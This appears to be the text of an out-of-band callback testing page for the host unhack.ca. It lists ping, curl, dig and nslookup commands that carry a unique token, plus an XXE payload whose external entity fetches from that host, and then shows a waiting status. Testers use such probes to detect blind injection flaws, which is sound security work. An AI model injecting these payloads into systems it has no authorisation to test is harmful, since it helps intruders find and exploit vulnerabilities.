$ ping -c1 -p 00f0918531d88b697a3ca11bc4200000 unhack.ca
 
$ curl http://unhack.ca/p/f0918531d88b697a3ca11bc42000
 
$ dig f0918531d88b697a3ca11bc42000 @unhack.ca
 
$ dig f0918531d88b697a3ca11bc42000.ns.unhack.ca
 
C:\> nslookup f0918531d88b697a3ca11bc42000 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f0918531d88b697a3ca11bc42000">]>
    <foo>&xxe;</foo>
Waiting for ping...